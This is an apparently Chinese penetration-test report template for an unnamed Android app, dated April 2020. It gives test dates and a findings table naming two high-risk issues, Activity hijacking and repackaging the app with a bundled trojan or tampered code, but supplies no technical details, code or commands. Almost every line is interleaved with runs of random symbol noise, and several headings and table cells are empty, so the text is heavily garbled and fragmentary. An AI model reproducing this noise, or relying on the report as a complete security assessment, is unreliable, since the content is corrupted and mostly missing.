/ f+ i8 T) q, C! D% R( Y( I9 _3 {+ c& [) q; }( ~ j
' W, ^5 U! X8 A8 f4 a3 _
* C2 p& c# z4 E/ Y) _
- K" K- d9 O8 r A( \
% r- K0 m/ @ i8 ?
4 J4 M5 t6 U( @4 m
5 A6 B ~, Z# Q$ k: ^
* }, n+ x$ W$ B1 u- w' v' w# D1 S# _' ]6 i: N
+ O' ?# v% O9 W) K8 t# i1 U( T) O7 k/ m
文档编号: ) E& n9 \* z6 ]
7 N! \8 E7 h2 u1 I, d! g
2 n$ {5 _7 e& Y, H$ m
% N) d: i, n7 d' c7 y" b) x: S' q
' ]' Y# v" |; t% z: X' g
8 w7 F% u0 I: s6 i$ \+ d* {
' h. n: \+ F( J! P c* K! ?
# \ I2 \8 c& [
& a6 G% W3 e$ y3 v# l( E
, \" B3 |# p6 P- [% p, N 7 c3 Z- W! x5 L8 Y/ m
5 W8 D. t% f, L" m: t6 R! D l! D! i3 }& U
% p1 m4 c+ u, Z
( H" R- p+ N5 j' s
! i7 ]/ s1 h0 t; w9 S- y$ b! F 9 F7 F+ q" A5 e/ ^; {; @4 W
5 C0 ?6 m- F7 {# P
/ F1 @$ l1 G k% x) |3 d
6 l/ E4 k# H! _2 I. W4 N; Z2 _# M
. ]: F& C3 R+ t* |4 Z" y
2 z+ S6 O- n9 ~, q e* P; V
+ H5 \ U: _) f$ C1 g/ m* R5 s- J! i0 T
7 X& z t3 W7 h/ K% Q2 W4 c, t5 i M- H. g0 ?0 _% _
) |8 u* W* _" R9 k8 q) s& |" [/ `# i$ j: w" _0 q9 b
' L# d5 u+ n v1 H8 M+ O9 ]) S7 z9 k1 W# y
4 {+ @7 b2 e- ]( W( c' h; r% {# B6 I/ F
( D- l& }! [& c$ w1 t/ ], w) T! X( l+ D* P- B0 e( @
/ {2 F0 F s, l x1 b
/ M4 |/ o' G; ~# [* P. ~ 某某某APP渗透测试 $ R3 f7 l$ `! [3 @6 R) J* Z- Z
, d) X7 C/ ~$ f4 @" ]. j, _
1 h4 Y; r L( [' Z9 @( @/ l
! Y, ? o. g% m- u$ P+ [5 p
* ]$ Z. B! G7 ?2 F3 h% n8 _7 I$ u% j8 A+ i6 G; M' W+ f
0 Q0 ~9 N6 {9 S9 z& O' |2 V* G, G) d5 k
7 [) U% Q7 l, e* \- w8 _
1 j. V; t/ o; T, _- q z) m& s0 d" N0 P& Q' ^( L1 I5 u
) L0 r3 D! p( \4 S; L
! C1 j/ V# K7 w/ ^& s1 V
& l& z6 q' k; n4 @ _4 A+ s9 t
' O3 [6 b6 k. k+ A7 \% ?. ~
& N) r4 y4 a* F3 r4 u, c9 g- P5 ~
% M2 u) X) b0 Q- b
* U0 |- Q, l0 {# |
# e+ E7 f: a# Y! F: ?
; ^' c, J5 X M6 L
9 N! k( {4 k. ?$ a' D
5 S4 `4 V9 v9 z& v & C/ ?; J0 ]" Z1 p, F! n
- v7 x, h i. ~9 d/ j
; F) D' T, ^' S" q9 I4 V. |% q$ f5 |3 s' u. X* t
% s4 g7 ]# K: b2 C) k! C! E
; B9 }3 s6 w* S1 f; }4 k4 s
8 V) S8 N5 E, O7 z7 s6 a/ \7 |1 d
) n, R* C8 \- [* o: A% p# J 技 术 报 告 : n- {1 B7 V, p3 }
, X: s5 B- x0 N1 d8 `& }$ Z# f
2 T0 m* R6 a* D- \2 `( V: H! c; n) X+ [- `5 b8 J4 x" Q
8 O( P3 D* H+ ]7 u K* I5 f' D2 s- @3 B
% j0 B5 N2 o- ?
& F& d) M* V( A1 |) f, J
& v8 d4 Z: @3 L. O9 ?
2 U Z0 f8 Q# _$ A* v4 ^
+ e' C1 R/ }/ m% Q% r# Y. j* S
; H5 Z2 v) d/ x0 u7 A( y7 q9 w; i- p
# ]6 z/ x+ [2 }: B4 S/ ~
6 e0 \- B! d( k6 y7 L
) M( R- I: z; }0 {1 ^
5 A! A! M$ P9 f9 M+ B0 p; G6 `5 d
) h3 B6 x4 d8 ^! b( A/ `1 c) d! G4 s1 `- K% e5 W" v3 J
8 x4 k3 ]; E7 u5 X* @
/ q+ g; x) V% ~' M
2 Y6 f# s0 \9 M- a3 ^- V0 |, I
- C5 G+ ~" ^1 f- W S! J p
% _2 q x8 g, \" u
: W" G% {5 [2 v" d0 ]% G9 c2 H/ ~
8 K" O1 E& y: h0 @' ~' Y) |1 W0 o E0 L- p* S3 }- N
. L$ N7 H [* ^) g6 f9 S- _
8 H' i7 A/ M& x0 S% g
# L" m. C4 F2 ~3 C
3 e9 y( t( `$ x$ {' ?8 Q 8 k) J; c' q/ l7 _3 `+ S0 K8 `8 H: d! E
9 F1 }" X2 h+ i: g( ?
+ I6 Q! V) r5 R. U. `, F! J! c5 ]! X i$ G
' v1 {' I$ P. D' \' z
1 \1 l$ A, r" ?* p) x1 W4 i" u2 r- p
( e; G: o, C! ?* V
7 m: O1 |8 @ p% `; j# n( q
) X( y- A$ @! @2 H9 b% E
9 V& O' v: ?6 |( d S5 B
7 P* a& ~$ M! W% R6 B( T+ f
; ~* p5 Z1 m8 B& f% f) M
, L& F7 M% b) z& O+ r; B0 R4 F. W
- d$ Q7 C! T1 ~3 K& @+ Z$ K0 Z" S8 n$ o( Y. {! T: G* P( v" @
% u# |3 g9 c5 B5 M; S" I9 q5 f& b' f5 }! c9 J8 J
+ z! X0 X6 ]! y- `( K8 T. V+ }: B" H1 K9 d
: ?: q, B5 J: L) Y: w0 I% [9 C* ]
; D3 a, R5 f5 H$ W$ I 6 Y! ]. r' m* L
$ |5 V# H% @( s; [% l$ {
% } V3 W1 l" @1 @2 J
; ? [/ ^- u, H9 V8 a$ g
; I/ T4 S i! M, |7 i+ g7 |/ b
) Q4 ] K( X7 e! [7 T, g* r " W/ s& z" X. h1 P
* r5 o$ b+ u+ L ! a; O, \, Y$ [
( Q% D1 I) }5 G6 l$ o
1 g( Y& h: x6 H! d3 [9 m! @" b) r! l2 }6 y8 H$ i
. @0 B8 W% m. ?! J: C% }
8 L% _( R/ j* [) ]2 F8 @ " e X0 G( C% P
7 z: h7 W4 s7 b1 ]1 P7 v( Y
+ e4 S2 T% H9 F, s4 ]
) N! H# O/ J" z
4 S! R( Q2 b, F" T- [0 [
# ~' ~3 |/ c- \$ z7 F* |$ V" R1 } " c8 J8 Y8 @# k! B' u4 S1 M7 e
( j& x1 \0 r: s g3 Z% v; Z9 L. G
0 C; _0 D# p6 O. p0 l( `4 z% D
' O" ?0 U0 |% D
. d1 T, \" Y# ]! v. o, y, t
9 p- e% U. |# @. Y) {4 s6 [$ `5 U( l. Z
. D+ o$ M6 @* m" f- l# D; J# i) p3 e" G0 {' w; P; f) ^ {' A, ^
) c3 m4 }2 C+ |2 N, V" z& K/ u# n* Z, J# P
7 @& ^4 j% R3 Y+ s) N4 C
9 V2 x0 b2 R) e0 B. K
- g% `- W; \0 y& x' I& X1 s& y- G P/ K9 h+ m! Q
* u" y; I! H4 {8 O9 r- E. {
. C J+ J+ D0 ~) n( z; Y8 x ( _( r& S6 R( k8 ?
4 w3 E% v5 ?2 {, q$ E, I
' k5 B- f' j7 @: W1 J k! B% s; p3 I$ z4 R- Z- G
9 Z5 D; X3 T# V
) \: y A' X0 O
& b& O! D5 o7 T9 B' s3 J
2 P, x3 k3 f/ P+ i: x& A4 `
. v2 j+ Y% u; x' i5 h
5 a5 E. e, ]' B( Z( b2 w
" M3 o6 t: J5 I1 w6 @6 A$ @* D
" \% Y$ _: [ ]# p) q% |- H
7 d# m) [( B5 ~/ H L/ B+ L6 z6 Y" C( a7 C$ A4 \
* o+ ]5 |4 u6 z- b7 O8 _9 F5 j" t* G6 w1 S% L8 o
- y8 d5 q* c+ ]2 p* s$ |& v, w1 }% y* B/ m9 T" _
0 ]: E! n; L+ C" q6 q5 c/ n$ n% ^* \2 c9 j5 P! M" j
3 n5 a& N3 {) n* b6 i* P
( G& ?2 ^$ ~* Y0 d- l. X2 K& y5 o
' f. E; O: W: P W
) K4 m0 p6 `% r# E9 X- c8 K& Z- ? h
" c2 Z' |) e! M& V. l2 [0 D: G
. X) H- f1 |9 V- `0 D- l9 q 二〇二〇年 3 y0 I, K. K- H, I8 d
9 i7 j. @% i( @3 \0 Y
: U! f& ~9 J0 Q! ?& a, k# P
2 f. n+ u9 R% k7 N# U
( E! X8 A( g2 l7 O# G
, n' y; c9 i/ f L5 i7 W
( h( S9 ~9 Q8 S% ]" M+ w- ^# @+ b, z7 Z$ R1 W9 a3 ?. s$ n9 [ X
) Q8 C/ d* _7 ]" M& z+ B* c# F# o7 C* X( E7 H5 n7 i" w# U2 w% S
" W: d( z; ?8 m: M' f6 j/ \1 C# f& N1 }" g0 O n" E
6 ]- t: a( B' u5 @% Z; K
' N- U9 U k$ [6 `- x
# e/ ^+ ?- @1 S9 ^
( ^5 I& _2 H/ \8 P
, t3 M4 z' i9 w8 V/ v' W6 f
% S7 T3 a, Y2 }+ x7 h! ]6 s, B1 q
' T' N/ y' F; ~0 P4 e' S) O. v7 ~ \8 o- D, A. m
: K p: J" S1 ~5 g
! a( `- o% D: l 目 录 4 T+ a! X2 m! p3 h- l o
* M# x% t0 \! S: ~5 h, a3 X! B
/ D; k" w4 x9 D
* R6 r+ `, P" `0 E H/ a, z
?) s k& o, }
! E. f* z' n- P: y$ K2 b# d8 k7 R
$ m# Z! H* ~. n+ f2 P& g$ O
7 R9 k. F- I% S$ b x& L+ Y
/ G& I0 v- M9 Z
1 ?! N$ d4 w- W! t
: L" x% v. Y3 D8 q" T4 }
9 i/ W* s. p1 U. K
- g R. {- V8 q5 S# Y4 t
1 n* ~3 Y8 G) s0 l 1 概述... 3
8 F! C4 i/ I8 P$ S. p+ V- w! a7 K" Z
# V5 L. m- _. w9 o3 A3 D, k H$ E* f' |: i+ A
s/ O4 A$ F* p
5 l3 g1 \, \& w/ D8 Z6 z9 g$ z4 j 1.2测试时间... 3 & x9 c! T8 d2 `1 O: g
6 P) M# J! D& y: B
; w# y' A% G9 t: Z3 i/ z! h
, a5 b6 j) k5 j4 M
# t- `, m/ D: W ]& S/ y M$ \: K3 o( z0 m' v, L
1.3测试对象... 3
5 h5 X" j9 p* z. y% ~
) v$ D8 B8 p& I* U
! V- _1 s$ v# I9 ]" V
( p# J% b" }# s0 [/ Q - _: T: _% K1 D& ~0 w( d/ d# o
$ `8 J3 e: C1 \( \5 W 1.4测试结果... 3 * c3 q$ r2 ^4 S+ u6 f; U9 y
9 A- `" S& O2 @+ v
$ B, Z; X+ ~3 C. g
0 g, v+ E: c8 H1 b6 `
- l! y3 q& k6 N5 p; Z+ l3 ^
/ _* g. F, ~9 q5 S% y9 K) q: k 2 检测结果... 4 3 s0 k; R8 k' k9 x
- T( R; _ o5 I& {- A0 o
4 M9 h- I2 o6 K9 j7 c& F
) x. o* c- T9 ?' Z9 u, }* {
' {, m# \' j/ b- p/ { V" c* @# D9 c
2.1 某某某... 4 * |3 N i5 ?* b [ u
' }. U& P. Q/ |+ P+ e. s
1 v, j9 X5 |' ^, A: O! Z4 L5 @" B0 }
3 y6 N) v! c' d8 B: l3 ^: y
% ]2 m4 P8 ?: s! X& d
& o9 @$ W% Y* L 2.1.1检测目标... 4
6 \* N' I8 l3 v
( p3 c9 I" E- {# f6 [# g; T
8 E0 u* Q% G- [( H% z# R2 k; u8 S" p2 g
" M9 T# h% H; ^* u
. y& s+ a6 {! c 2.1.2检测结果... 4
1 z8 e2 {3 p! U+ n0 O- `+ r' C# k' g \
M& a- I+ G* c) u4 u1 i- J
. v! K/ m9 I+ p, e- A# u) l4 P 7 e1 J5 H1 z' H1 S$ I* s
- K7 _: K+ K$ Z* c
2.1.2.1. 4
}: C. R1 G& v. d- s
( X7 ]( K' n8 y5 ^! t% O, a3 x
* _1 P( i! s$ i5 J
3 j8 c; I+ t! \% c: h1 N
' Q: |4 h/ ~+ C
) l( {$ I2 ^7 n& d. r _ R
2.1.2.2. 6
9 d& q, j0 F% F% t
5 @- _- b2 G) W; v c2 V
- r6 f/ ^# `9 h# Z: V: o) p0 [
9 w3 U0 e7 S {1 C" L0 u
( H5 i. r' ~0 e% Q
! T8 t6 i! Y& n- ~2 N9 f
$ ?. ?# \7 {( _- H9 W: f+ ^1 G
0 @. p) O3 ~* B) ^
* b4 n" E* Z1 T" k! @* z8 c& B5 X) S9 q% z9 o8 n7 J6 h
, q5 Y* X: n3 }6 ~& ?$ u* u7 y- m
. _# C2 l8 y9 Y; v
- n# P' H1 `7 V, ?" o- A1 s- s$ `
6 Y1 s5 d# t" z2 g+ Q# y; n3 n
: n0 E- o1 `4 m
% Z% p9 E9 U7 [2 Q1 `
$ s: F! M b1 r* |! T: G; }' A6 R7 w3 E# J
6 O8 l; j/ x0 U- q+ y
' w2 K: |: P }' |/ B; d 1 概述
0 D/ e1 o* ?/ o* g4 Z: c9 Y5 Z* ^" G
& n: V% T2 s4 i2 Q/ Z5 ~- q5 @ w F! g
% v# u+ l8 U( `' L' Q$ Q1 L
, ]+ E" X2 r" L0 C5 u8 Y 1.2测试时间
O6 E. _- U- y! Z$ d' {9 g' J2 ` ?1 ?4 x0 z0 h7 Q2 k
# Q7 s) p' r/ {0 S( @- s
# S$ d5 t' M$ V0 L + U4 a" R" J+ H+ I/ m- w- F5 R
. [* ^; F, L. ^0 h" N+ k
! _7 n" C# k; _# v
( w7 n P4 f7 ]: d; d: A9 r# S , I; G$ s5 g8 _: J
8 A+ L6 o+ o* G3 w) d
( u0 u0 j* T" i
( k* m$ K9 Y6 `. ]2 F1 ^ 5 v6 B' D" n: ]
M5 ^8 E( z& Z
渗透测试时间
% P- A& @9 u; Q7 s1 J' n1 m J
4 n) D' `0 t4 v
3 k1 e: H! L7 b$ ?- k) H, g5 ~) f* d' S/ I* G' M
| & G; Z2 e' S x& L$ V; x
, ~: Z8 v9 B) f9 a# w- Z( Q
0 t# ^" n5 R+ |+ e% r2 \& ]6 r, o! h! c: U, c: s8 ~' d
# y1 o R% v/ @7 i5 ~! P/ E" f
1 N' ?. D, w% y7 T( ?% Z* v* S9 x
: q) Y! U; R3 i( ]* B2 i a' Q1 @# m- d/ P r
, Z! J5 A$ ] d! m4 W' \1 t* L
1 f8 v4 G4 ^4 c6 P! Z+ e& v1 L 起始时间
I9 G1 i4 {* ~* y, ` Z# w( t8 b7 |! w8 E7 b& r: O
, _) c9 \# z% A0 a0 a+ F% i
. @- L, r6 k# D6 |0 i! @6 n+ }
| - n# A) t0 D0 l
3 T+ `0 g3 f S$ B
9 {: ]: o4 b# A9 p3 i' { Q% F4 K) t
! M9 L; [) y+ |9 W5 M
) t1 M3 ?8 y- u8 }9 [* X# Y1 ^, Y* j5 _; s, d* ~
2020年4月6日
& [2 O& i& j& K! e1 k8 Q
7 \. A4 Z. C# J9 m% c 1 d2 v0 z M: ]0 S2 K
- d0 Q: l0 H& E. d9 C m1 A; w | ' T4 x2 I; ~- y% i8 ^5 ^" l
' u: L, ~( b+ U
- F" _; {- Q7 {$ o" {0 Q; k$ E% j* r0 ]
- D' y7 f3 m0 W1 j5 S# j$ C9 k/ N
/ s O5 m" P" Q/ z# _& y. Y% k
; o( p* i4 J5 j2 U% ^2 _/ t3 Y; l2 A8 ]' G0 x3 V) P
% d5 `6 t W" l6 A# {) u
8 J9 v3 m6 V: i 结束时间 w4 p: \) M. |$ B! T. U- ~' |
2 o# |% s3 f+ i- Y
/ q) L+ w' R) N0 C* {2 i
, k" ^$ Q( l5 w' W# Q6 {
|
& T* C: W! N* v; I, q" [4 f3 k9 C4 A" d0 y* U, i
5 _% Z# a. d1 X/ C% Z6 b
$ I% j* Q, V, a- A2 C/ v5 ~' q $ a& }$ \4 x$ ]! _" w
+ {+ y3 C1 S% Z' K+ l1 q* W 2020年4月9日 & o- L( K3 R1 z. \7 |) D0 O6 V. R8 E
" M6 h' u: p7 {" y# m
) ?7 a0 N$ Q: Z0 E3 @- n$ v2 o( t. P) p' ]' y, R5 F; T
|
3 T9 V6 t2 W# F: C" G& Z5 E4 Y: b" q8 b8 {) k
. F, t/ N5 Q; V3 R4 `* b5 {
* a+ \* B+ B/ N/ `4 J
; J# D: a8 M( _. @7 w! J
% S* q& b# i- S' w
# B+ u6 @" }1 o C. v8 g
1 T5 D, K& M) Y* j5 w- I" \* }
: `8 v4 ?# \2 y* q$ v5 ~
: W1 A4 V% z6 Y t7 k( J 1.3测试对象
2 ?$ N _5 K* h' F# |5 @, v5 F- j8 z
9 R p- h8 u7 a9 |7 D' Z
7 m( S% m p' a8 f1 W* L& ]$ P
* d6 d. |. m9 l3 g 1 c' O6 B9 x% T+ F/ D) \# [
$ x3 A) A- W) t" S8 Z9 b 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
, u" w9 L. F/ Z3 }* H, v
8 P$ ^* e1 t# p' b( k
/ _" q2 N6 f; p* V1 W
9 h0 e4 g- m2 [
$ x! Q; ]7 f( {
$ G& Y- f. L+ C2 E# V+ D 表1-1 检测对象
8 R% Z5 r, Z4 W' G3 b5 O; p9 o+ g% M! g1 ]: T7 X0 C, }
) `! C0 H4 ]( j
$ K7 B6 s( ^ W% H
% ^8 y& M! @3 A5 a2 O6 r
- u: n8 S+ G, j4 L
2 G2 m: W4 ]- d% J+ ]- ^6 N
" z7 ^! p) t% X, r( ]/ ^
) C4 C% U: u1 \7 x- t7 S$ I
) a7 G ^- P% Q. L a8 T
. t& N3 E* v$ r2 c- B+ }6 L
4 p3 |8 ?; _ j+ y; A- n
% v; ^- I* ^; M; ]9 A) v1 E& G- Z/ S. l/ R3 j, U0 z! T
序号
9 j$ K: l6 C% ^0 f- S/ _) J8 C" z7 d" t" u' b; b
$ x- E ~9 d& T
( b% f7 Z; I, y6 R8 M1 k% ?4 [ | " ?) d, j* ^0 d2 D( [4 {4 B( m
s& e9 G9 d! d' Y: _0 z$ X" Z( X* W
3 s& J) n' J- e" n( Z7 P6 i
0 H2 S7 q* B/ `$ \+ f5 t6 ^' D
4 N; x5 Q3 i# Z; u* ]/ D! P% X; P
- f( f# P; I4 y( A
测试对象 9 z5 h" \ Q* Q5 Y+ j- I
7 l0 W3 _8 e3 V* j0 [
( ~$ g2 _4 [& Z- K6 ^# S% ?( F" c
: n4 s! u1 l; X7 S; z* [- E4 m% x |
1 f+ a. ?- Z! v- I: V- M T! Z0 V, ?( @& g
" Z& S" a$ F- z; D. [3 ^
2 i6 {# G5 s6 y( m0 v 6 a- q+ e0 e8 L# v
- F; d- [) _( _# Q9 c7 D
测试地址
' n2 v7 ^# p, L4 B& L/ W" a8 Y8 [( p2 E3 i, ]
9 d# F1 T' S7 U, I' f3 t
0 R4 M* ? f9 u* C" \+ D |
) Y3 L- M+ o9 x- G" B6 J2 n. ~- r z6 {0 B" o
( I; ]' K' @2 b1 h/ @/ X+ B5 s) i8 X3 s! e
8 h8 H# @7 B+ Y3 {/ S5 C5 s' A
$ @; M$ y, H# r5 w
$ _# B# s$ y+ p4 U5 T3 d4 @ 安全漏洞
) k; {9 }# |1 Z6 M; u% m' W! q% g) f- m9 a
" q- q: P; Z) P% }8 _3 L
9 z$ @/ D: L/ Z- N/ N! R8 a% y: o5 W
| # M. b8 N! k, M; V; q4 i6 S
' A$ j) A2 H& c( {
7 W6 H1 T' @8 E1 q6 N+ ^
; D3 D. h0 x9 v: B" p8 C ! _4 z: I8 A- G M4 m1 K
! ], Q- J$ X6 B- { 3 t' T1 p" f$ \% ]
- A, {, y/ Y( z8 B6 X2 k
- [" ~$ X& M$ B2 L, K3 ^- B' g
: x, r6 W5 J, P! D3 P6 B4 H u
1
" W9 }+ c( ?- C9 s5 o: l# W* x2 x* C3 L6 k* i: d/ e9 O7 d; i8 F
( S, A) e8 D" |5 f6 C& i1 U2 P
$ W Z2 W0 S8 _( Q; B8 f |
% s% S& D) D, K9 _6 v# T8 t s6 L+ p7 c5 H
- b- c# j" M7 J5 d& W) S r: q3 R: ^ R g: x% e! I1 U
; `0 B- |3 b, S# @7 ]. S
8 L- D3 h& D2 @3 C5 a/ N D; V 某某某安卓APP I9 A* h( ]# D" n
( @- r$ h) T4 u2 A6 ]2 b5 o& b% E
, @# [4 z6 _0 t8 \. r$ C
4 B8 Q' p3 T3 r' | |
5 h3 q, {) d8 o0 G5 Z2 _1 V; \ ~' I7 X. e1 U2 w5 z, n
0 m: [2 F0 E/ Z( V. c$ Y/ Y$ ?
! T4 K4 y, g. a; G2 D
* \! M- w, ?+ v# \
1 y C( g; x( V3 s# v- \' `' s
, t4 \: K- d' m4 x
- e- C0 E2 z$ y, F* C5 Y $ t- f. i: A" I5 Z( h
* m( y; I; q8 V. R9 B+ h! t |
! V$ D* \1 h4 g8 N Q) G U! c+ L; u5 s; ]& z* G6 @
8 q( l: ]' b0 h$ s
1 [* X+ h$ M% x0 [: [! h" L
, M! f8 R/ n7 [, t5 }; b, d, o; M5 I( p+ b
2
- N! c5 y+ x) K. x
% C6 Q4 L/ O+ l2 O8 } " {5 _/ X8 \+ B; Z3 h9 n
1 I6 r+ g$ m# Z" D/ o9 l3 R
|
$ }/ c. D* q% g; P3 \
7 O4 } T! f# ~& v. I- y1 ~1 r# P/ c5 x
1 J; W( d3 D& ~2 {0 B* c
! n/ a: D- Y2 v5 X" j% u+ U
& s# ]. P8 P2 A! A/ }
. W9 S6 J5 c- ?2 p
6 z! w# t& v" y
v: C. K4 A+ ?3 l s
# U" E0 z( d, V+ Y* `8 e/ b8 I- E5 y; a8 e U7 U
1.4测试结果
5 S: j( Q+ `& g7 v- k. H8 z; t5 e5 G+ m2 y
+ n [; Y5 X# b/ p' ^$ h
9 U: U' V" x8 D! x0 v% l7 R+ u . P: B, b% Q" V {: j
- P8 b* v/ ^* Z% W
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
+ `+ {% A {/ m$ b6 z3 `
+ s. x. G- @, r! S) B
. z+ Q5 p/ k8 q X5 j3 S; ^
: W q0 u3 ]. a
+ N2 j) O+ M3 [3 r$ c6 D% J3 H) z( _, L i# J
0 x/ {1 K/ W# A7 X: I
, _: s( x0 q- [
) ]! v M) }/ r8 m
" y2 I) D. s9 O/ s& t( l8 z+ Q
3 A; R$ r9 K# v5 c; H& a- z) t+ ? z. d
N) ]' C. M; S/ i( N, V; f! V1 K
' F3 s; W' t) _) {+ J' B
$ S3 u) E9 H4 U) L6 Z. `/ V) \6 y% L8 @" x" w2 ^; L
3 G7 t( J+ z9 j) }8 @7 A' |8 Y4 L7 b: T6 x9 C8 K& A0 u6 q
6 C. O1 e' w& `; ~- i) ?/ ?# ~
1 E8 }! p* f3 Q/ v' a/ H
8 O. s2 J# l# n! {# ^5 T
; W0 I5 s0 c; Q/ c 序号
, W2 f# V# P j7 x5 e L2 S- B, D" t! H
! c* ?2 I4 N: K, a
7 c$ d* v6 ~- w, p# n |
( @0 V W6 V" E! a, H% e
$ h- m! M ~" Y
3 [8 a2 x, {7 C
A, o; F1 f* e0 b
& P, X( l, U( d. e% i5 q
' v# \7 k0 O" P, ^0 m 系统名称
1 h/ ~* r3 o, R$ o/ K2 Z* P/ P9 F2 r
8 F$ J2 t- S8 S* Q& Q
$ C2 a" h* y) p3 j$ Q2 K9 j
. w+ n' j, J! W2 {/ [ | ! F& n+ B9 }$ h }, `
" B; u/ r# @. P& m9 x* v; m
% h* \, T U0 u9 @0 Z# t
2 T7 r- k) q; E
, l8 O+ S0 u( I$ |& A1 n
8 D; `9 y! A0 s9 V 漏洞名称
- Q9 ?5 { b2 g4 M; w
& v8 {7 H; R6 X; p5 Q4 q- ~
6 \6 V" t7 @' ^. h5 V5 W3 A1 |& x; v
| - o: ?; }% W1 Q4 `; w% K6 m* y
+ T: p3 A# J0 s7 K5 Z- K ; o& F$ _- w1 }- z( m; ~
$ f; G. w, i8 P& c
- N& B( [1 q8 O6 V5 v
( R3 U1 ^+ z9 K3 g 漏洞危害 # r# h+ U+ @4 @( w1 e$ R
* N7 W/ _* R* B. ?. J* n( ~
& i: ?5 J0 @* ^' t
C+ ~ i* N- ?! M% ~! C7 ~ |
& @1 B7 \1 _. Y& q% i E- e$ T/ Q4 o
; R6 i8 y/ B. y* b. @1 ?( k9 X
7 H1 a4 T, B6 z- Y9 t ' \& o- ^0 S* ~0 u+ O
* X+ Z8 p3 P$ e5 t/ S
修复结果 ) A. r4 r; S6 b
4 {3 s" X, N7 r8 I: d
; k; X6 [- v" [- k* r5 H0 s, @2 V) \7 |2 k% k( \- g
| , T3 b+ T* A" P h) O
% M" F" G) H& `( g& k
% I( x8 w: Q4 P* Z* o$ E% n. g& q( k+ H* @& P2 `
9 u$ J( I+ c6 }0 ^6 ]$ v; K
& K; Y" v$ a2 r8 q + a: k4 s w5 e N3 v
# T$ L+ x( d( W' m8 K z( @
$ V" t# X6 Y; `8 G$ R, d9 I6 }* [8 s" ]* U$ A% b0 T; I! L2 \3 f) ^# P/ _* V
1 * g8 h; { ~1 M9 B2 I1 p' l# s
- B- t4 {! l( ]) t- ~ t& u
/ |) g+ D: j% r. S/ }
0 g0 A$ M0 @7 R2 f% u! R9 Z$ ^4 f
|
! L- H; R* L9 P3 [( E9 L- q0 Y& B b& G1 z# ~- G. y, ~6 \1 c
6 L% H8 A/ J3 }' l+ G- O7 x
+ Y. Q u; d5 W4 R
, z9 @/ g6 ] z) M/ z5 Y2 s2 `: X8 ]0 ? `
某某某某某某APP
, _$ f! x2 _& f' a' f: y" I
; Y# C& i2 {9 U3 S0 W 2 R2 I( F( G8 f8 B/ V: r# z; M
5 ^6 C4 B/ g. {* g. v |
9 c& c3 _6 ^+ m, J4 w! c# `0 [# J! {% A/ v( |+ a7 p2 a8 B$ |
; l4 P" h& Z U+ h) X
+ j0 V+ n7 h6 V- ^* d' u
9 B8 f: j4 m6 I- Q. h3 }9 Z6 g7 O5 K" i
Activity 劫持 - [4 V6 A. Y1 ?: d/ f( P
: [6 D8 b& P4 d. h8 C- r U6 T # R7 a) Q5 N; z* K5 [
! T# |4 e8 a) M/ ~, R# q4 _8 D * T# j" J! ^) J* I. U2 F) i) i
6 }, n) O6 E2 J0 u J f$ h, f
& K9 C! K8 l" A( ?) o( f4 L1 I5 S- {6 ^5 }: W
/ ?: J. Y( C$ r7 }$ v2 y( @6 O4 }- c4 k- ]% q) r4 R$ ]3 g
| ) \) G7 R: z+ S# H2 W+ r+ X; o
1 {! y2 |$ R O! W
% a) S! b! B. J4 t. l( J: A5 W" E) n1 S$ ]- I3 B8 C: U
' y4 T5 C1 t# t$ Y+ I
( n! y( N2 W$ B2 |/ L K
高 ( e3 V( f6 w- |2 j# _5 B& }
# f* _( [: Z+ A$ Q ' J' P$ O! j: t( I1 J
- m5 \$ }1 ?) L( I! L |
5 I7 s0 P; A) k6 p7 `! M
1 i0 V) d- t r( f. r; t, a% x . j) c9 q5 c! h- E/ w6 ]- `
% a3 T1 [1 Q' K7 Z8 m9 m+ k 4 w2 W1 l T$ x0 T2 d$ S, Z
, Q8 D: j& x2 Z* j8 M + \4 i, _2 H6 x( o4 ^
) Z2 M" U7 D4 h+ M d
6 R7 r. _2 c: [% H4 V/ `6 w& x8 K- P7 L8 @7 z2 D+ m6 d5 k1 {
|
) {9 ]! y' n2 k8 [% U) |5 |; f! O! Y0 \* L# C
$ h: V) d9 l* j! k' s8 f2 Z1 s) ~) m2 p
& Q; r7 g* r. W! J2 K; R G! y5 H7 F- _. Q/ K5 g
* }5 b; s; s9 K/ [5 S$ m6 U7 w' [9 ~6 \" h8 q
; x* p) @4 I! ^# S' i; `0 R2 y0 b" Q
. X' m) f5 y: M
2
5 W3 [9 k& a8 V# ~ R$ i
1 ]* q) k: z5 w; o/ ^. ~ ; b) E7 Y* {' w& o% b4 }1 Q1 Z5 u
$ _" G5 q6 O8 i1 j2 B
|
. E+ U* o3 K( c7 O5 ^5 G y0 T
$ Y9 w% T: i- A5 C
6 t) {4 t1 S6 n# Z$ O
% J3 w n5 x. Q! J0 G7 W
. h; @" p4 B4 d) t) p5 _4 w5 \+ B3 R( O F4 R
某某某某某某APP
# y0 }8 r# e _* o; ?5 T" Q. y/ P; W3 ]: H( U8 D% B7 n
; Y' [; g8 h! k" Z& ]! j2 L1 o+ }
+ t3 O' m+ E7 }/ i4 [4 y |
) G Q( z+ }6 G @, I, X3 G" ~* D& ^1 h" k' Y9 Q- Y0 _
. ~" |+ `5 e2 V9 q: Q$ f8 J
$ i7 ]5 [, `/ h; w
. E' o& l. e' d1 y }8 X7 k
* H# P; k/ P, d% k 反编译二次打包捆绑木马、篡改APP代码 0 U8 D5 l# V: B3 d$ X/ Z/ p
, t J9 z* T7 f: z0 c 2 Z! s) R3 K! `4 u- Z% |
8 k! r( r6 m Q: Q
|
% k6 X5 X- c6 V" c0 Q# ~
( v: c( H e/ x4 V / [! s d. r6 W2 L. I8 Y3 h
4 ?! I4 Q- w0 _3 ^6 [% a
4 ~ G: V# k, Q! _2 e% K0 b( T% y8 g6 f2 u- y1 P1 w) p8 N
高 1 y3 ^8 n9 y: H) w0 v# S
( n2 G+ D8 a* T2 a5 O* x! i/ q2 N) W 2 b3 G$ f$ q) D Q9 ^
1 f) H2 |+ q, k! J, F& C' }. o | : d9 ^- O, R/ A4 l
# B3 p4 d, u$ d. K } 8 T Y( e0 z2 e) C
& G4 s5 t& }% q7 k0 C. h% N. u9 ^
- v ]. t, l) B; o$ \9 W6 l4 y
7 B% i) \6 f, T6 j9 P( B, e, G; [% o" T4 o3 R J. Z5 X: d
) S2 J+ a3 ~# J2 o0 }( }2 @: T, Q. C p8 `' Y; C
|
5 c: o3 [& q2 ?" n: X9 x
6 w( e) C3 g' z
; K, o- v$ H8 v( N) H: {6 A V6 q+ e6 g, Y9 I/ w8 p
1 z& ]( B8 \3 U4 d( |- V% w; C4 p
